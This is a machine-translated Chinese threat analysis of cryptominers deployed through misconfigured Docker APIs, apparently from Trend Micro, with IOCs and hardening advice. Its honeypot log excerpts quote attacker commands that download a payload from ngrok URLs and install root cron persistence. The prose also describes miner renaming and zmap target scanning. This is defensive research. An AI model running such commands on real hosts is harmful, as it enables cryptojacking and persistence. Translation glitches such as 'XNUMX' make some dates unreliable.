如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工

我们分析了使用蜜罐容器收集的数据,我们创建蜜罐容器是为了跟踪威胁。 我们使用 Docker Hub 上社区发布的映像检测到来自不需要或未经授权的加密货币矿工的重大活动,这些矿工部署为恶意容器。 该图像用作提供恶意加密货币矿工的服务的一部分。

此外,还安装了用于网络工作的程序来渗透开放的相邻容器和应用程序。

我们将蜜罐保持原样,即使用默认设置,没有任何安全措施或随后安装其他软件。 请注意,Docker 提供了初始设置建议,以避免错误和简单漏洞。 但使用的蜜罐是容器,旨在检测针对容器化平台的攻击,而不是容器内的应用程序。

检测到的恶意活动也值得注意,因为它不需要漏洞,并且与 Docker 版本无关。 攻击者只需找到配置不正确且开放的容器映像即可感染许多开放服务器。

未封闭的 Docker API 允许用户执行多种操作 团队,包括获取正在运行的容器的列表、从特定容器获取日志、启动、停止(包括强制),甚至从具有指定设置的特定映像创建新容器。

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工
左边是恶意软件的传递方法。 右侧是攻击者的环境,允许远程转出图像。

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工
3762 个开放 Docker API 按国家/地区分布。 基于 12.02.2019 年 XNUMX 月 XNUMX 日的 Shodan 搜索

攻击链和有效负载选项

恶意活动的检测不仅需要蜜罐的帮助。 Shodan 的数据显示,自从我们调查了一个配置错误的容器(用作部署 Monero 加密货币挖掘软件的桥梁)以来,暴露的 Docker API 的数量(参见第二张图)有所增加。 去年2018月(XNUMX年,当前数据 你可以看起来像这样 约译者)只有 856 个开放 API。

对蜜罐日志的检查表明,容器映像的使用也与 恩格罗克,一种用于建立安全连接或将流量从公共访问点转发到指定地址或资源(例如本地主机)的工具。 这允许攻击者在向开放服务器传送有效负载时动态创建 URL。 以下是日志中的代码示例,显示了 ngrok 服务的滥用情况:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

正如你所看到的,上传的文件是从不断变化的URL下载的。 这些 URL 的有效期很短,因此在到期日期之后无法下载有效负载。

有两个有效负载选项。 第一个是用于 Linux 的已编译 ELF 矿工(定义为 Coinminer.SH.MALXMR.ATNO),连接到矿池。 第二个是一个脚本(TrojanSpy.SH.ZNETMAP.A),旨在获取某些网络工具,用于扫描网络范围,然后搜索新目标。

Dropper 脚本设置两个变量,然后用于部署加密货币挖掘器。 HOST变量包含恶意文件所在的URL,RIP变量是要部署的矿工的文件名(实际上是哈希值)。 每次哈希变量发生变化时,HOST 变量都会发生变化。 该脚本还尝试检查受攻击的服务器上是否没有其他加密货币矿工正在运行。

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工
HOST 和 RIP 变量的示例,以及用于检查没有其他矿工正在运行的代码片段

在启动矿工之前,将其重命名为 nginx。 该脚本的其他版本将矿工重命名为 Linux 环境中可能存在的其他合法服务。 这通常足以绕过对正在运行的进程列表的检查。

搜索脚本也有特点。 它使用相同的 URL 服务来部署必要的工具。 其中包括 zmap 二进制文件,它用于扫描网络并获取开放端口列表。 该脚本还会加载另一个二进制文件,该二进制文件用于与找到的服务进行交互并从它们接收横幅以确定有关找到的服务的其他信息(例如其版本)。

该脚本还预先确定了一些要扫描的网络范围,但这取决于脚本的版本。 它还在运行扫描之前设置服务(在本例中为 Docker)的目标端口。

一旦发现可能的目标,横幅就会自动从其中删除。 该脚本还根据感兴趣的服务、应用程序、组件或平台过滤目标:Redis、Jenkins、Drupal、MODX、 Kubernetes 大师、Docker 1.16 客户端和 Apache CouchDB。 如果扫描的服务器与其中任何一个匹配,则会将其保存在文本文件中,攻击者稍后可以使用该文本文件进行后续分析和黑客攻击。 这些文本文件通过动态链接上传到攻击者的服务器。 即每个文件都使用单独的URL,这意味着后续访问很困难。

攻击向量是 Docker 镜像,如接下来的两段代码所示。

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工
顶部是重命名为合法服务,底部是如何使用 zmap 扫描网络

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工
顶部是预定义的网络范围,底部是用于搜索服务的特定端口,包括 Docker

如何使用非专有 Docker API 和社区的公共镜像来分发加密货币矿工
截图显示alpine-curl图片下载量已超过10万次

基于Alpine Linux和curl(一种资源高效的CLI工具,用于通过各种协议传输文件),您可以构建 Docker镜像。 正如您在上图中看到的,该图像的下载量已超过 10 万次。 大量下载可能意味着使用此映像作为入口点;此映像已在六个月前更新;用户不会经常从该存储库下载其他映像。 在 Docker 中 进入点 - 用于配置容器以运行它的一组指令。 如果入口点设置不正确(例如,容器从互联网上保持打开状态),则该映像可以用作攻击媒介。 如果攻击者发现配置错误或不受支持的开放容器,则可以使用它来传递有效负载。

需要注意的是,该图像(alpine-curl)本身并不是恶意的,但正如您在上面所看到的,它可用于执行恶意功能。 类似的 Docker 镜像也可用于执行恶意活动。 我们联系了 Docker 并与他们一起解决这个问题。

建议

设置不正确 遗体 持续的问题 对于许多公司,尤其是那些实施 DevOps的,专注于快速开发和交付。 由于需要遵守审计和监控规则、监控数据机密性以及不遵守规定造成的巨大损害,一切都变得更加严重。 将安全自动化纳入开发生命周期不仅可以帮助您发现可能未被检测到的安全漏洞,还可以帮助您减少不必要的工作量,例如在部署应用程序后为每个发现的漏洞或错误配置运行额外的软件构建。

本文讨论的事件凸显了从一开始就考虑安全的必要性,包括以下建议:

  • 对于系统管理员和开发人员:请务必检查您的 API 设置,以确保所有内容都配置为仅接受来自特定服务器或内部网络的请求。
  • 遵循最小权限原则:确保容器镜像经过签名和验证,限制对关键组件(容器启动服务)的访问,并对网络连接添加加密。
  • 跟随 建议 并启用安全机制,例如 来自 Docker 和内置 安全功能.
  • 使用运行时和映像的自动扫描来获取有关容器中运行的进程的其他信息(例如,检测欺骗或搜索漏洞)。 应用程序控制和完整性监控有助于跟踪服务器、文件和系统区域的异常更改。

趋势科技帮助 DevOps 团队安全构建、快速部署并在任何地方启动。 趋势科技 混合云安全 跨组织的 DevOps 管道提供强大、简化和自动化的安全性,并提供多种威胁防御 XGen 在运行时保护物理、虚拟和云工作负载。 它还增加了容器安全性 深度安全防护系统 и 趋势科技服务器深度安全防护系统智能检查,它会在开发管道中的任何点扫描 Docker 容器映像是否存在恶意软件和漏洞,以在部署之前防止威胁。

妥协的迹象

相关哈希值:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Docker 视频课程 练习演讲者会展示首先需要进行哪些设置,以尽量减少或完全避免上述情况发生的可能性。 19 月 21 日至 XNUMX 日的在线强化课程 DevOps 工具和秘籍 您可以在圆桌会议上与同事和执业教师讨论这些以及类似的安全问题,每个人都可以畅所欲言,聆听经验丰富的同事的痛苦和成功。

来源: habr.com

添加评论